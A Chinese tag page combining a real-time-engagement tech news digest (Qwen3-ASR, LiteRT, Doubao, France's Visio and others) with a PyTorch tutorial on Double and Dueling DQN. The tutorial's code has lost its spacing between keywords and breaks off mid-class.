标签 PyTorch 下的文章

开发者朋友们大家好:

这里是 「RTE 开发者日报」,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的技术」、「有亮点的产品」、「有思考的文章」、「有态度的观点」、「有看点的活动」,但内容仅代表编辑的个人观点,欢迎大家留言、跟帖、讨论。

本期编辑:@瓒an、@鲍勃

01 有话题的技术

1、Qwen3-ASR 正式开源:包含三款模型,支持 52 种语言与方言

Qwen 团队正式开源 Qwen3-ASR 系列,包括两个强大且全面的语音识别模型 Qwen3-ASR-1.7B 与 Qwen3-ASR-0.6B,以及一个创新的语音强制对齐模型 Qwen3-ForcedAligner-0.6B。 Qwen3-ASR 系列的语音识别模型支持 52 个语种与方言的语种识别与语音识别。

依托预训练 AuT 语音编码器与 Qwen3-Omni 基座模型的多模态能力,Qwen3-ASR 系列实现了精准且稳定的识别效果。

其中,1.7B 模型在中文、英文及歌唱识别等场景达到 SOTA,具备复杂文本识别能力及强噪声下的稳定性;0.6B 模型兼顾性能与效率,128 并发下吞吐量达 2000 倍(10 秒处理 5 小时音频)。

两款模型均单模型支持 30 个语种及 22 个中文方言,支持流式/非流式一体化推理,最长可处理 20 分钟音频。

Qwen3-ForcedAligner-0.6B 支持 11 种语言任意位置对齐,精度超越 WhisperX 等主流模型,单并发推理 RTF 仅 0.0089。目前,全套模型权重、结构及支持 vLLM 的推理框架已全部开源。

在模型效果评估方面,Qwen3-ASR 系列在中文/英文、多语种、中文方言、歌声识别及复杂场景下均表现优异:

  • 英文场景:不仅在公开基准上达到最优,在覆盖 16 个国家口音的内部测试集中,整体表现优于 GPT-4o Transcribe、Gemini 系列、Doubao ASR 系列及 Whisper-large-v3。
  • 多语种场景:最高支持 30 种语言,在 20 个主流语种上,1.7B 模型全面超越现有开源模型,取得最佳平均 WER。
  • 中文与方言场景:在普通话、粤语及 22 种地区方言上整体领先,尤其在方言识别上,相比 Doubao-ASR 平均错误率降低了 20%(15.94 vs 19.85)。
  • 复杂场景:面对老人/儿童语音、极低信噪比、鬼畜重复等挑战,仍能保持极低的字/词错误率;歌唱识别支持带 BGM 的整首歌中/英文转写。

此外,该系列在推理效率与对齐能力上也实现了突破。Qwen3-ASR-0.6B 模型在性能与效率间取得了平衡,无论离线或在线高并发场景,均能保持极低 RTF 与极高吞吐。配套推出的 Qwen3-ForcedAligner-0.6B 则支持 11 种语言的任意位置灵活对齐,其时间戳预测精度整体超过 WhisperX、NeMo-ForcedAligner 等主流方案。

目前,Qwen3-ASR 系列模型已在 Github、HuggingFace 和 ModelScope 上线,相关论文及阿里云百炼 API 也已同步发布。

Github:
https://github.com/QwenLM/Qwen3-ASR

HuggingFace:
https://huggingface.co/collections/Qwen/qwen3-asr

识别结果:

蹦出来之后,左手、右手接一个慢动作,右边再直接拉到这上面之后,直接拉到这个轮胎上,上边再接过去之后,然后上边再直接拉到这个位置了之后,右边再直接这个位置接倒过去的之后,再倒一下,然后右边再直接抓住这个上边了之后,直接从这边上边过去了之后,直接抓住这个树杈,然后这个位置直接倒到这个树杈。

识别结果:

拨号,请再说一次,请说出您要拨打的号码。幺三五八幺八八七五七。一三五八二八八八幺八八。纠正纠正。九六九。纠正纠正,不是九六。

识别结果:

Okay, Charles. It looks like we have a problem with the radio. What happened? Yeah, someone spilled water on their machine. I uh, yeah. Charles, can you hear us? Mamma mia.

(@千问 Qwen)

2、Google 推出 LiteRT 推断框架:深度集成 NPU,实现跨平台统一高性能部署

Google 正式推出继任 TensorFlow Lite 的端侧 AI 推断框架「LiteRT」。该框架完成了从经典机器学习向生成式 AI(GenAI)的架构演进,通过深度集成 NPU 加速和全新编排层,实现了跨 Android、iOS、Web 及桌面端的统一高性能部署。

  • 高性能多后端加速:采用下一代 GPU 引擎 「ML Drift」,支持 OpenCL、Metal 和 WebGPU。GPU 性能较 TFLite 提升 1.4 倍,并引入异步执行与零拷贝缓冲(Zero-copy buffer)技术,端到端延迟缩减达 2 倍。
  • 深度 NPU 集成方案:通过抽象层屏蔽不同 SoC 的 SDK 差异,首批支持「MediaTek」与「Qualcomm」NPU。实测 NPU 推断速度较 CPU 提升 100 倍,并提供 AOT(预编译)与 JIT(即时编译)两种部署模式以平衡启动速度与包体积。
  • GenAI 专用技术栈:新增「LiteRT-LM」编排层与「LiteRT Torch Generative API」。在 Samsung Galaxy S25 Ultra 上的基准测试显示,Gemma 3 1B 的 GPU Prefill 速度较 llama.cpp 提升 19 倍,Decode 速度提升 7 倍。
  • 多框架无缝转换:支持 PyTorch、JAX 和 TensorFlow 模型一键转换为 。tflite 格式。其中 LiteRT Torch 库允许 PyTorch 基于 Transformer 的架构直接映射至优化后的底层算子,无需复杂的中间件平移。
  • 全新 C++ API:引入 CompiledModel API 取代传统的 Interpreter 模式,旨在优化多线程环境下的内存复用与硬件调度效率,同时保持与存量 。tflite 模型的向后兼容。

LiteRT 现已进入生产就绪状态,全面支持主流移动端与桌面端操作系统,核心代码已在 GitHub 开源。

GitHub:
https://github.com/google-ai-edge/LiteRT/issues

( @Google for Developers Blog)

3、曝阿里字节春节前后齐发旗舰模型

就在刚刚,据 The Information 援引知情人士消息称,字节和阿里均计划在二月中旬的春节假期前后发布新一代旗舰 AI 模型。

消息人士称,字节将于下月推出三款 AI 产品:新一代大语言模型 Doubao 2.0、图像生成模型 Seedream 5.0 以及视频生成模型 SeedDance 2.0。

阿里方面同样蓄势待发。据直接了解其计划的人士透露,阿里预计将在春节期间推出旗舰模型 Qwen 3.5,该模型针对复杂推理任务进行了专门优化,在数学和编码能力方面表现突出。

本月中旬,阿里官宣对千问 APP 进行重大升级,将其与电商平台、在线旅游服务以及蚂蚁集团的支付系统深度整合,力求打造一个能够协助用户完成订餐、预订旅行等实际任务的全能 AI 助手。

而据内部人士透露,阿里的目标是在 2026 年上半年将所有生态服务整合到千问 APP 中。

此外,报道还提到,阿里和字节都在进行更长远的布局,正在开发能够无缝处理文本、图像、音频、视频和代码的全能型 AI 模型。

( @APPSO)

4、数字人 Tavus 发布 tavus-skills:支持 npx 一键集成实时视频交互组件

数字人 Tavus 推出开发者工具集 tavus-skills,旨在通过标准化的技能模块供智能体调用,快速构建视频 AI 代理。该工具集集成了数字孪生训练、视频流生成及实时对话交互(CVI)能力,支持开发者通过 CLI 工具完成环境配置。

  • npx 模块化分发体系:支持通过 npx skills add Tavus-Engineering/tavus-skills 实现一键集成。开发者可按需拆分安装 tavus-replica(数字孪生管理)、tavus-video-gen(脚本化视频生成)等 8 个独立模块。
  • CVI 专用模型栈集成:底层原生支持 Phoenix-3 视频生成模型、Raven 视觉/音频感知模型以及 Sparrow 实时对话控制引擎,针对实时交互场景优化了响应延迟。
  • WebRTC 实时交互控制:提供 tavus-cvi-interactions 模块,支持在视频流传输中执行实时文本回显(Echo)、指令打断(Interrupt)以及动态上下文注入。
  • 前端工程化支持:配套发布 @tavus/cvi-ui React 组件库与 React Hooks,深度适配 Vite 与 Next.js 框架,简化了实时视频交互界面的 UI 开发。
  • 持久化 RAG 与记忆模块:通过 tavus-cvi-knowledge 模块支持文档上传与知识库构建,允许视频智能体在多次对话间保持长短期记忆。

GitHub:
https://github.com/Tavus-Engineering/tavus-skills

( @GitHub)

02 有亮点的产品

1、AI-Native 用户研究平台 Trooly.AI 获王慧文、高瓴及蓝驰投资,完成近千万美元种子轮融资

据「暗涌 Waves」报道,成立仅 4 个月的 AI-Native 用户研究平台 Trooly.AI 已完成近千万美元的种子轮融资,投资方包括蓝驰创投、高瓴创投和王慧文。

与市面上常见的宏大叙事不同,Trooly.AI 专注于实现商业闭环。其核心产品面向有用户调研需求的 B 端客户,通过多模态 Voice Agent 技术,专注于 45 分钟左右的深度定性用户访谈。该平台宣称可在 10 分钟内协助用户完成研究计划的设置和发布,并在 1 天内交付完整访谈数据和专业洞察总结。

Trooly.AI 的两位创始人王震和孙皓此前均为 Zulution AI 早期成员。Zulution AI 由 TikTok 前身 Musical.ly 创始人阳陆育创办,曾推出 AIGC 角色扮演对话产品「Museland」。王震和孙皓共同经历过 AI 陪伴产品的拓荒期,但在 2025 年春,随着 AI 陪伴产品的用户交互出现边际效应递减,两人选择离开。

在探索了多种产品形态后,创始人团队意识到,在 AI 使内容生成成本趋近于零的时代,竞争壁垒在于「输入」的质量。最昂贵的资产是能为产品决策提供核心「信息增量」的真实用户故事。这一方向的确立也源于王震此前作为甲方的采购经历:传统调研耗资巨大且样本量少。团队发现,此前积累的对话技术天然适合深度定性访谈。

王震指出,相比人类访谈员带来的社交压力,受访者面对「博学且温和」的 AI 更容易敞开心扉。在 Trooly.AI 的实际案例中,AI 访谈员曾引导受访者分享隐秘且深刻的情绪。王震认为,在用户调研中,单纯的事实往往只是边角料,核心在于「用户故事」。只有通过故事感知用户与产品间的真实羁绊,才能弥合产品经理想象与现实之间的鸿沟。

针对产品效能与体验,Trooly.AI 强调以下特点:

  • 效率与成本:相比传统用研流程动辄耗时一两个月,Trooly.AI 的反馈速度提升约 30 倍,成本可压至传统方式的 20%。
  • 交互体验:产品界面摒弃拟人化形象,仅保留流动的声波与配色,以降低社交压力并营造宁静氛围。
  • 技术逻辑:底层注入大量专家知识,Agent 能根据用户背景、情绪信号动态调整追问深度,把控交互节奏。

关于团队建设,王震和孙皓表示经历了从迷信「超级个体」到回归团队协作的转变。他们认为,尽管 AI 能大幅提升执行效率,但无法替代人类在审美、发散性创新与结构化逻辑上的互补。因此,Trooly.AI 倾向于组建由各维度单项顶尖人才构成的精简团队。

面对 AI 时代极其残酷的竞争环境,Trooly.AI 团队认为绝大多数无法形成有效服务的「玩具」类应用终将消亡,因此致力于在利基市场中确立生存优势。

联合创始人孙皓指出,Trooly.AI 的目标不仅仅是做一个工具,而是构建一套让「构建者」能够直达用户真实声音的价值链。王震表示,Trooly.AI 的使命是让消费者洞察直达产品决策者。团队希望帮助全球的产品构建者弥合想象偏差,减少资源浪费,从而在 AI 时代的「生物大爆发」中挖掘真需求,找到自然选择下的最优解。

报道链接:
https://mp.weixin.qq.com/s/E4CJQnezo0J1PuATOQ1ZHg

官网:
https://www.trooly.ai

(@暗涌 Waves)

2、曝豆包手机二代机型二季度发布

据《智能涌现》报道,字节跳动已于去年底正式启动豆包手机助手正式版项目,第二代豆包手机预计将在今年第二季度中晚期发布。

报道称,字节跳动对二代机型的市场预期显著提高,依旧延续与中兴努比亚的合作模式,由中兴负责硬件、豆包负责 AI 能力。

供应链人士称,新机在体验与权限体系上将比初代测试版更成熟。与此同时,豆包团队已与部分互联网服务提供商(打车、外卖、订票等)达成常用权限接入协议,以提升系统级 AI Agent 的可用性。

在合作策略上,豆包正与不同类型的手机厂商展开差异化谈判。对于 OPPO、vivo、荣耀等自研生态完善的大厂,合作主要集中在模型调用、输入法等模块化技术层面;

而对于传音、魅族、联想等市占率较低的厂商,则采取更激进的方案,直接在系统中内置豆包 AI 入口,并以技术授权费与 AI 服务订阅费作为商业模式。

报道还指出,豆包手机正同步推进海外布局,已与包括 vivo 在内的厂商商讨在其海外机型中搭载「豆包手机助手」,但细节仍在谈判中。

同时,字节在硬件形态上持续扩张,正在开发带显示与不带显示的两款 AI 眼镜,前者预计将在今年 Q4 发布,后者将在今年 Q1 推出。此外,字节也在研发带摄像头的 AI 耳机,试图构建多终端协同的智能硬件生态。

( @APPSO)

3、法国政府宣布 2027 年前停用 Teams 和 Zoom,全面转向自研平台 Visio

法国政府周一宣布,计划用本国自主研发的视频会议平台取代微软 Teams 和 Zoom 等美国平台,并于 2027 年前在所有政府部门全面投入使用。

此举属于法国停止使用外国(特别是美国)软件供应商并重新掌握关键数字基础设施控制权战略的一环。 目前,法国与欧洲正处于关于数字主权的关键转折点。

法国公务员与国家改革部部长 David Amiel 表示,目标是结束对非欧洲解决方案的使用,依靠强大且自主的主权工具来保证公共电子通信的安全性和机密性。

政府宣布将转而使用法国制造的视频会议平台 Visio。该平台已进行了为期一年的测试,目前拥有约 4 万名用户。

Visio 是法国「数字套件」(Suite Numérique)计划的组成部分,该计划构建了一个主权工具数字生态系统,用于替代 Gmail 和 Slack 等美国在线服务。这些工具专供公务员使用,不面向公共或私营企业。

该平台还具备由人工智能驱动的会议转录和发言人识别功能,采用了法国初创公司 Pyannote 的技术。Visio 托管在法国公司 Outscale 的主权云基础设施上,该公司是法国软件巨头达索系统(Dassault Systèmes)的子公司。

法国政府表示,切换到 Visio 能够削减许可成本,每 10 万名用户每年可节省高达 100 万欧元。

在此之前,去年发生的美国云服务中断事件引发了欧洲对过度依赖美国信息技术基础设施的质疑。Amiel 指出,这一战略突显了在地缘政治紧张局势加剧以及对外国监控或服务中断的担忧中,法国对数字主权的承诺。

(@Euronews Next )

03 Real-Time AI Demo

1、当乐高遇上 AR 眼镜:开发者利用 Gemini 赋予积木实时声效与交互

开发者 Stijn Spanhove 与 Pavlo 在 Snap Spectacles 上构建了一个概念验证(POC),探索了继 LEGO Smart Bricks 之后,将乐高积木与 AR 眼镜相结合的交互形态。

在该演示中,系统利用 Gemini 模型视觉识别用户搭建的任何乐高作品,即时生成独一无二的音效,并支持用户直接用手进行抓取与互动。

例如,摇晃一架飞机模型时会听到引擎的轰鸣,挥舞一条龙时则伴随着咆哮声。对于每一个不同的拼搭作品,系统都能做出差异化的反应。

开发者提出了一种进一步融合的设想:将 LEGO Smart Play 积木内部的物理传感器、AR 技术以及环绕的生成式 AI 结合在一起。这种组合有望打造出一个既能从内部物理感应做出反应,又能通过眼镜在视觉上「活过来」的乐高城市。

正如开发者所言,这一切并非科幻构想,所有必要的技术组件目前均已存在,该项目展示了这些技术整合后的潜力。

( @stspanho\@X)

04 有态度的观点

1、OpenAI 董事长:Vibe Coding 不是终局,AI Agent 才是软件未来

据《商业内幕》报道,OpenAI 董事长 Bret Taylor 近日在《Big Technology Podcast》节目中表示,「Vibe Coding」将继续存在,但它并非软件行业的最终形态。

Taylor 在节目中指出,依赖自然语言快速生成应用的方式会逐渐变得寻常,而真正的变革来自 AI Agent 对软件结构的重塑。

Taylor 认为,当前围绕「如何更快用 Vibe Coding 做出一个应用」的讨论忽略了关键问题。

他表示,未来的软件形态将不再依赖传统的仪表盘、网页表单或独立应用,而是由可执行任务的 AI Agent 取代。

我们会把任务交给 Agent,它们会直接对数据库执行操作。关键在于,这些 Agent 是谁来做,你是买现成的,还是自己构建。


他同时指出,AI 虽然显著降低了软件开发成本,但并未解决维护难题,也未消除错误风险,因此大多数企业仍倾向于购买成熟方案,以将维护成本分摊给更多客户。

关于 Vibe Coding 的局限性,Google CEO Sundar Pichai 去年在《Google for Developers》播客中表示,这种方式让编码更轻松,也让非技术用户能创建简单应用。

不过,他也指出 AI 生成的代码仍可能冗长、结构不佳或存在错误。他在 Google 母公司 Alphabet 去年 4 月的财报电话会上透露,Google 超过 30% 的新代码由 AI 生成,高于 2024 年 10 月的 25%。

Anthropic 工程师 Boris Cherny 也在去年 12 月的《The Peterman Podcast》中指出,Vibe Coding 更适合原型或一次性代码,而不适用于企业核心系统。

有时候你需要可维护的代码,需要对每一行都非常谨慎。

( @APPSO)

阅读更多 Voice Agent 学习笔记:了解最懂 AI 语音的头脑都在思考什么

写在最后:

我们欢迎更多的小伙伴参与「RTE 开发者日报」内容的共创,感兴趣的朋友请通过开发者社区或公众号留言联系,记得报暗号「共创」。

对于任何反馈(包括但不限于内容上、形式上)我们不胜感激、并有小惊喜回馈,例如你希望从日报中看到哪些内容;自己推荐的信源、项目、话题、活动等;或者列举几个你喜欢看、平时常看的内容渠道;内容排版或呈现形式上有哪些可以改进的地方等。

作者提示: 个人观点,仅供参考

DQN 用

max Q(s',a')

计算目标值,等于在挑 Q 值最高的动作,但是这些动作中包括了那些因为估计噪声而被高估的动作,素以就会产生过估计偏差,直接后果是训练不稳定、策略次优。

这篇文章要解决的就是这个问题,内容包括:DQN 为什么会过估计、Double DQN 怎么把动作选择和评估拆开、Dueling DQN 怎么分离状态值和动作优势、优先经验回放如何让采样更聪明,以及用 PyTorch 从头实现这些改进。最后还会介绍一个 CleanRL 的专业实现。

过估计问题

DQN 的目标值如下:

 y = r + γ·maxₐ' Q(s', a'; θ⁻)

问题就在于,同一个网络既负责选动作(a* = argmax Q),又负责评估这个动作的价值。Q 值本身是带噪声的估计所以有时候噪声会让差动作的 Q 值偏高,取 max 操作天然偏向选那些被高估的动作。

数学上有个直观的解释:

 E[max(X₁, X₂, ..., Xₙ)] ≥ max(E[X₁], E[X₂], ..., E[Xₙ])

最大值的期望总是大于等于期望的最大值,这是凸函数的 Jensen 不等式。

过估计会导致收敛变慢,智能体把时间浪费在探索那些被高估的动作上。其次是策略质量打折扣,高噪声的动作可能比真正好的动作更受青睐。更糟的是过估计会不断累积,导致训练发散。泛化能力也会受损——在状态空间的噪声区域,智能体会表现得过于自信。

Double DQN:把选择和评估拆开

标准 DQN 一个网络干两件事:

 a* = argmaxₐ' Q(s', a'; θ⁻)  # 选最佳动作  
 y = r + γ · Q(s', a*; θ⁻)    # 评估这个动作(同一个网络)

Double DQN 用两个网络,各管一件:

 a* = argmaxₐ' Q(s', a'; θ)  # 用当前网络选  
 y = r + γ · Q(s', a*; θ⁻)   # 用目标网络评估

当前网络(θ)选动作,目标网络(θ⁻)评估。两个网络的误差不相关这样最大化偏差就被打破了。

为什么有效呢?

假设当前网络把动作 a 的价值估高了,目标网络(参数不同)大概率不会犯同样的错。误差相互独立,倾向于抵消而非累加。

最通俗的解释就是DQN 像是自己给菜打分、自己挑菜吃,这样烂菜可能就混进来了,而Double DQN 让朋友打分、你来挑,两边的误差对冲掉了。

  Standard DQN:  E[Q(s, argmaxₐ Q(s,a))] ≥ maxₐ E[Q(s,a)]   (有偏)  
 Double DQN:    E[Q₂(s, argmaxₐ Q₁(s,a))] ≈ maxₐ E[Q(s,a)]  (无偏)

从 DQN 到 Double DQN,只需要改一行:

 # DQN 目标  
next_q_values=target_network(next_states).max(1)[0]  
target=rewards+gamma*next_q_values* (1-dones)  

# Double DQN 目标  
next_actions=current_network(next_states).argmax(1)  # <- 用当前网络选  
next_q_values=target_network(next_states).gather(1, next_actions.unsqueeze(1))  # <- 用目标网络评估  
 target=rewards+gamma*next_q_values.squeeze() * (1-dones)

就这一行改动极小,效果却很明显。

实现:Double DQN

扩展 DQN Agent

 classDoubleDQNAgent(DQNAgent):  
    """  
    Double DQN: 通过解耦动作选择和评估来减少过估计偏差。  
    """  
      
    def__init__(self, *args, **kwargs):  
        """  
        初始化 Double DQN agent。  
        从 DQN 继承所有内容,只改变目标计算。  
        """  
        super().__init__(*args, **kwargs)  
      
    defupdate(self) ->Dict[str, float]:  
        """  
        执行 Double DQN 更新。  
          
        Returns:  
            metrics: 训练指标  
        """  
        iflen(self.replay_buffer) <self.batch_size:  
            return {}  
          
        # 采样批次  
        states, actions, rewards, next_states, dones=self.replay_buffer.sample(  
            self.batch_size  
        )  
          
        states=states.to(self.device)  
        actions=actions.to(self.device)  
        rewards=rewards.to(self.device)  
        next_states=next_states.to(self.device)  
        dones=dones.to(self.device)  
          
        # 当前 Q 值 Q(s,a;θ)  
        current_q_values=self.q_network(states).gather(1, actions.unsqueeze(1))  
          
        # Double DQN 目标计算  
        withtorch.no_grad():  
            # 使用当前网络选择动作  
            next_actions=self.q_network(next_states).argmax(1)  
              
            # 使用目标网络评估动作  
            next_q_values=self.target_network(next_states).gather(  
                1, next_actions.unsqueeze(1)  
            ).squeeze()  
              
            # 计算目标  
            target_q_values=rewards+ (1-dones) *self.gamma*next_q_values  
          
        # 计算损失  
        loss=F.mse_loss(current_q_values.squeeze(), target_q_values)  
          
        # 梯度下降  
        self.optimizer.zero_grad()  
        loss.backward()  
        torch.nn.utils.clip_grad_norm_(self.q_network.parameters(), max_norm=10.0)  
        self.optimizer.step()  
          
        self.training_step+=1  
          
        return {  
            'loss': loss.item(),  
            'q_mean': current_q_values.mean().item(),  
            'q_std': current_q_values.std().item(),  
            'target_q_mean': target_q_values.mean().item()  
         }

训练函数:

 deftrain_double_dqn(  
    env_name: str,  
    n_episodes: int=1000,  
    max_steps: int=500,  
    train_freq: int=1,  
    eval_frequency: int=50,  
    eval_episodes: int=10,  
    verbose: bool=True,  
    **kwargs  
) ->Tuple:  
    """  
    训练 Double DQN agent(使用 DoubleDQNAgent 而不是 DQNAgent)。  
    """  
    # 与 train_dqn 相同但使用 DoubleDQNAgent  
    env=gym.make(env_name)  
    eval_env=gym.make(env_name)  
      
    state_dim=env.observation_space.shape[0]  
    action_dim=env.action_space.n  
      
    # 使用 DoubleDQNAgent  
    agent=DoubleDQNAgent(  
        state_dim=state_dim,  
        action_dim=action_dim,  
        **kwargs  
    )  
      
    # 训练循环(与 DQN 相同)  
    stats= {  
        'episode_rewards': [],  
        'episode_lengths': [],  
        'losses': [],  
        'q_values': [],  
        'target_q_values': [],  
        'eval_rewards': [],  
        'eval_episodes': [],  
        'epsilons': []  
    }  
      
    print(f"Training Double DQN on {env_name}")  
    print(f"State dim: {state_dim}, Action dim: {action_dim}")  
    print("="*70)  
      
    forepisodeinrange(n_episodes):  
        state, _=env.reset()  
        episode_reward=0  
        episode_length=0  
        episode_metrics= []  
          
        forstepinrange(max_steps):  
            action=agent.select_action(state, training=True)  
            next_state, reward, terminated, truncated, _=env.step(action)  
            done=terminatedortruncated  
              
            agent.store_transition(state, action, reward, next_state, done)  
              
            ifstep%train_freq==0:  
                metrics=agent.update()  
                ifmetrics:  
                    episode_metrics.append(metrics)  
              
            episode_reward+=reward  
            episode_length+=1  
            state=next_state  
              
            ifdone:  
                break  
          
        # 更新目标网络  
        if (episode+1) %kwargs.get('target_update_freq', 10) ==0:  
            agent.update_target_network()  
          
        agent.decay_epsilon()  
          
        # 存储统计信息  
        stats['episode_rewards'].append(episode_reward)  
        stats['episode_lengths'].append(episode_length)  
        stats['epsilons'].append(agent.epsilon)  
          
        ifepisode_metrics:  
            stats['losses'].append(np.mean([m['loss'] forminepisode_metrics]))  
            stats['q_values'].append(np.mean([m['q_mean'] forminepisode_metrics]))  
            stats['target_q_values'].append(np.mean([m['target_q_mean'] forminepisode_metrics]))  
          
        # 评估  
        if (episode+1) %eval_frequency==0:  
            eval_reward=evaluate_dqn(eval_env, agent, eval_episodes)  
            stats['eval_rewards'].append(eval_reward)  
            stats['eval_episodes'].append(episode+1)  
              
            ifverbose:  
                avg_reward=np.mean(stats['episode_rewards'][-50:])  
                avg_loss=np.mean(stats['losses'][-50:]) ifstats['losses'] else0  
                avg_q=np.mean(stats['q_values'][-50:]) ifstats['q_values'] else0  
                  
                print(f"Episode {episode+1:4d} | "  
                      f"Reward: {avg_reward:7.2f} | "  
                      f"Eval: {eval_reward:7.2f} | "  
                      f"Loss: {avg_loss:7.4f} | "  
                      f"Q: {avg_q:6.2f} | "  
                      f"ε: {agent.epsilon:.3f}")  
      
    env.close()  
    eval_env.close()  
      
    print("="*70)  
    print("Training complete!")  
      
     returnagent, stats

LunarLander-v3

 # 训练 Double DQN  
if__name__=="__main__":  
    device='cuda'iftorch.cuda.is_available() else'cpu'  
      
    agent_ddqn, stats_ddqn=train_double_dqn(  
        env_name='LunarLander-v3',  
        n_episodes=4000,  
        max_steps=1000,  
        learning_rate=5e-4,  
        gamma=0.99,  
        epsilon_start=1.0,  
        epsilon_end=0.01,  
        epsilon_decay=0.9995,  
        buffer_capacity=100000,  
        batch_size=128,  
        target_update_freq=20,  
        train_freq=4,  
        eval_frequency=100,  
        eval_episodes=10,  
        hidden_dims=[256, 256],  
        device=device,  
        verbose=True  
    )  

    # 保存模型  
     agent_ddqn.save('doubledqn_lunar_lander.pth')

输出:

  Training Double DQN on LunarLander-v3  
State dim: 8, Action dim: 4  
======================================================================  
Episode  100 | Reward: -155.24 | Eval: -885.72 | Loss: 52.9057 | Q:   0.20 | ε: 0.951  
Episode  200 | Reward: -148.85 | Eval:  -85.94 | Loss: 37.2449 | Q:   2.14 | ε: 0.905  
Episode  300 | Reward: -111.61 | Eval: -172.48 | Loss: 37.4279 | Q:   3.52 | ε: 0.861  
Episode  400 | Reward:  -99.21 | Eval: -198.43 | Loss: 41.5296 | Q:   8.15 | ε: 0.819  
Episode  500 | Reward:  -80.75 | Eval: -103.26 | Loss: 56.2701 | Q:  11.70 | ε: 0.779  
...  
Episode 3200 | Reward:  102.04 | Eval:  159.71 | Loss: 16.5263 | Q:  27.94 | ε: 0.202  
Episode 3300 | Reward:  140.37 | Eval:  191.79 | Loss: 22.5564 | Q:  29.81 | ε: 0.192  
Episode 3400 | Reward:  114.08 | Eval:  269.40 | Loss: 23.2846 | Q:  32.40 | ε: 0.183  
Episode 3500 | Reward:  166.33 | Eval:  244.32 | Loss: 21.8558 | Q:  32.51 | ε: 0.174  
Episode 3600 | Reward:  150.80 | Eval:  265.42 | Loss: 21.6430 | Q:  33.18 | ε: 0.165  
Episode 3700 | Reward:  148.59 | Eval:  239.56 | Loss: 23.8328 | Q:  34.65 | ε: 0.157  
Episode 3800 | Reward:  162.82 | Eval:  233.36 | Loss: 28.3445 | Q:  37.46 | ε: 0.149  
Episode 3900 | Reward:  177.70 | Eval:  259.99 | Loss: 36.2971 | Q:  40.22 | ε: 0.142  
Episode 4000 | Reward:  156.60 | Eval:  251.17 | Loss: 46.7266 | Q:  42.15 | ε: 0.135  
======================================================================  
 Training complete!

Dueling DQN:分离值和优势

很多状态下,选哪个动作其实差别不大。CartPole 里杆子刚好平衡时,向左向右都行;开车走直线方向盘微调的结果差不多;LunarLander 离地面还远的时候,引擎怎么喷影响也有限。

标准 DQN 对每个动作单独学 Q(s,a),把网络容量浪费在冗余信息上。Dueling DQN 的思路是把 Q 拆成两部分:V(s) 表示"这个状态本身值多少",A(s,a) 表示"这个动作比平均水平好多少"。

架构如下

 标准 DQN:  
 Input -> Hidden Layers -> Q(s,a₁), Q(s,a₂), ..., Q(s,aₙ)  

Dueling DQN:  
                       |-> Value Stream -> V(s)  
Input -> Shared Layers |  
                       |-> Advantage Stream -> A(s,a₁), A(s,a₂), ..., A(s,aₙ)  
                      
 Q(s,a) = V(s) + (A(s,a) - mean(A(s,·)))

为什么要减去均值?不减的话,任何常数加到 V 再从 A 减掉,得到的 Q 完全一样,网络学不出唯一解。

数学表达如下:

 Q(s,a) = V(s) + A(s,a) - (1/|A|)·Σₐ' A(s,a')

也可以用 max 代替 mean:

 Q(s,a) = V(s) + A(s,a) - maxₐ' A(s,a')

实践中 max 版本有时效果更好。

举个例子:V(s) = 10,好动作的 A 是 +5,差动作的 A 是 -3,平均优势 = (+5-3)/2 = +1。那么 Q(s, 好动作) = 10 + 5 - 1 = 14,Q(s, 差动作) = 10 - 3 - 1 = 6。

实现

 classDuelingQNetwork(nn.Module):  
    """  
    Dueling DQN 架构,分离值和优势。  
      
    理论: Q(s,a) = V(s) + A(s,a) - mean(A(s,·))  
    """  
      
    def__init__(  
        self,  
        state_dim: int,  
        action_dim: int,  
        hidden_dims: List[int] = [128, 128]  
    ):  
        """  
        初始化 Dueling Q 网络。  
          
        Args:  
            state_dim: 状态空间维度  
            action_dim: 动作数量  
            hidden_dims: 共享层大小  
        """  
        super(DuelingQNetwork, self).__init__()  
          
        self.state_dim=state_dim  
        self.action_dim=action_dim  
          
        # 共享特征提取器  
        shared_layers= []  
        input_dim=state_dim  
          
        forhidden_diminhidden_dims:  
            shared_layers.append(nn.Linear(input_dim, hidden_dim))  
            shared_layers.append(nn.ReLU())  
            input_dim=hidden_dim  
          
        self.shared_network=nn.Sequential(*shared_layers)  
          
        # 值流: V(s) = 状态的标量值  
        self.value_stream=nn.Sequential(  
            nn.Linear(hidden_dims[-1], 128),  
            nn.ReLU(),  
            nn.Linear(128, 1)  
        )  
          
        # 优势流: A(s,a) = 每个动作的优势  
        self.advantage_stream=nn.Sequential(  
            nn.Linear(hidden_dims[-1], 128),  
            nn.ReLU(),  
            nn.Linear(128, action_dim)  
        )  
          
        # 初始化权重  
        self.apply(self._init_weights)  
      
    def_init_weights(self, module):  
        """初始化网络权重。"""  
        ifisinstance(module, nn.Linear):  
            nn.init.kaiming_normal_(module.weight, nonlinearity='relu')  
            nn.init.constant_(module.bias, 0.0)  
      
    defforward(self, state: torch.Tensor) ->torch.Tensor:  
        """  
        通过 dueling 架构的前向传播。  
          
        Args:  
            state: 状态批次, 形状 (batch_size, state_dim)  
          
        Returns:  
            q_values: 所有动作的 Q(s,a), 形状 (batch_size, action_dim)  
        """  
        # 共享特征  
        features=self.shared_network(state)  
          
        # 值: V(s) -> 形状 (batch_size, 1)  
        value=self.value_stream(features)  
          
        # 优势: A(s,a) -> 形状 (batch_size, action_dim)  
        advantages=self.advantage_stream(features)  
          
        # 组合: Q(s,a) = V(s) + A(s,a) - mean(A(s,·))  
        q_values=value+advantages-advantages.mean(dim=1, keepdim=True)  
          
        returnq_values  
      
    defget_action(self, state: np.ndarray, epsilon: float=0.0) ->int:  
        """  
        使用 ε-greedy 策略选择动作。  
        """  
        ifrandom.random() <epsilon:  
            returnrandom.randint(0, self.action_dim-1)  
        else:  
            withtorch.no_grad():  
                state_tensor=torch.FloatTensor(state).unsqueeze(0).to(  
                    next(self.parameters()).device  
                )  
                q_values=self.forward(state_tensor)  
                 returnq_values.argmax(dim=1).item()

Dueling 架构的好处:在动作影响不大的状态下学得更好,梯度流动更通畅所以收敛更快,值估计也更稳健。

还可以把两种改进叠在一起,做成Double Dueling DQN

 classDoubleDuelingDQNAgent(DoubleDQNAgent):  
    """  
    结合 Double DQN 和 Dueling DQN 的智能体。  
    """  
      
    def__init__(  
        self,  
        state_dim: int,  
        action_dim: int,  
        hidden_dims: List[int] = [128, 128],  
        **kwargs  
    ):  
        """  
        初始化 Double Dueling DQN 智能体。  
        使用 DuelingQNetwork 而不是标准 QNetwork。  
        """  
        # 暂不调用 super().__init__()  
